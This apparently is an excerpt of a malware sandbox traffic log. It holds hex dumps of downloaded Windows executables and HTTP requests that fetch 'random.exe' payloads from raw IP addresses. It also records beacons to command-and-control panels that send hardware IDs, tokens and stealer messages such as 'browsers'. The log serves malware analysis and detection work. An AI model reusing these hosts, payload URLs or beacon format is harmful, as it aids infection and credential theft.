00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 10 Dec 2024 04:10:27 GMTContent-Type: application/octet-streamContent-Length: 1801728Last-Modified: Tue, 10 Dec 2024 03:29:17 GMTConnection: keep-aliveETag: "6757b58d-1b7e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 10 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 69 00 00 04 00 00 4a 27 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 6e 75 76 77 64 78 6e 00 e0 19 00 00 20 4f 00 00 da 19 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 76 69 69 66 64 64 64 00 10 00 00 00 00 69 00 00 04 00 00 00 58 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 69 00 00 22 00 00 00 5c 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 10 Dec 2024 04:10:36 GMTContent-Type: application/octet-streamContent-Length: 968192Last-Modified: Tue, 10 Dec 2024 03:27:27 GMTConnection: keep-aliveETag: "6757b51f-ec600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 17 b5 57 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 16 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 0f 00 00 04 00 00 76 36 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 e4 5a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e4 5a 01 00 00 40 0d 00 00 5c 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 a0 0e 00 00 76 00 00 00 50 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 10 Dec 2024 04:10:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 10 Dec 2024 04:10:43 GMTContent-Type: application/octet-streamContent-Length: 2800128Last-Modified: Tue, 10 Dec 2024 03:27:52 GMTConnection: keep-aliveETag: "6757b538-2aba00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 9b 04 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 70 7a 6d 79 61 61 78 72 00 60 2a 00 00 a0 00 00 00 5a 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 6b 63 77 6d 7a 74 77 00 20 00 00 00 00 2b 00 00 04 00 00 00 94 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 98 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 10 Dec 2024 04:10:53 GMTContent-Type: application/octet-streamContent-Length: 2800128Last-Modified: Tue, 10 Dec 2024 03:27:54 GMTConnection: keep-aliveETag: "6757b53a-2aba00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 9b 04 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 70 7a 6d 79 61 61 78 72 00 60 2a 00 00 a0 00 00 00 5a 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 6b 63 77 6d 7a 74 77 00 20 00 00 00 00 2b 00 00 04 00 00 00 94 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 98 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 36 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013605001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 36 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013606001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 36 30 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013607001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHCAKKEGCAAFHJJJDBKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 46 45 32 32 32 46 45 46 42 34 33 37 35 30 37 37 33 35 36 34 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 2d 2d 0d 0a Data Ascii: ------EGHCAKKEGCAAFHJJJDBKContent-Disposition: form-data; name="hwid"9EFE222FEFB43750773564------EGHCAKKEGCAAFHJJJDBKContent-Disposition: form-data; name="build"stok------EGHCAKKEGCAAFHJJJDBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDAECAEBKJJJKEBKKJDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 41 45 43 41 45 42 4b 4a 4a 4a 4b 45 42 4b 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 31 32 63 61 63 34 65 61 65 63 33 66 66 37 64 38 62 64 30 32 33 35 38 65 62 64 32 39 38 30 32 38 62 33 61 66 61 62 33 32 62 61 62 65 32 34 39 62 34 35 61 33 30 39 31 33 33 33 39 37 61 61 64 31 66 34 33 38 32 31 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 41 45 43 41 45 42 4b 4a 4a 4a 4b 45 42 4b 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 41 45 43 41 45 42 4b 4a 4a 4a 4b 45 42 4b 4b 4a 44 2d 2d 0d 0a Data Ascii: ------KJDAECAEBKJJJKEBKKJDContent-Disposition: form-data; name="token"812cac4eaec3ff7d8bd02358ebd298028b3afab32babe249b45a309133397aad1f43821d------KJDAECAEBKJJJKEBKKJDContent-Disposition: form-data; name="message"browsers------KJDAECAEBKJJJKEBKKJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKECFIEBGCAKJKECGCFIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 31 32 63 61 63 34 65 61 65 63 33 66 66 37 64 38 62 64 30 32 33 35 38 65 62 64 32 39 38 30 32 38 62 33 61 66 61 62 33 32 62 61 62 65 32 34 39 62 34 35 61 33 30 39 31 33 33 33 39 37 61 61 64 31 66 34 33 38 32 31 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 2d 2d 0d 0a Data Ascii: ------KKECFIEBGCAKJKECGCFIContent-Disposition: form-data; name="token"812cac4eaec3ff7d8bd02358ebd298028b3afab32babe249b45a309133397aad1f43821d------KKECFIEBGCAKJKECGCFIContent-Disposition: form-data; name="message"plugins------KKECFIEBGCAKJKECGCFI--
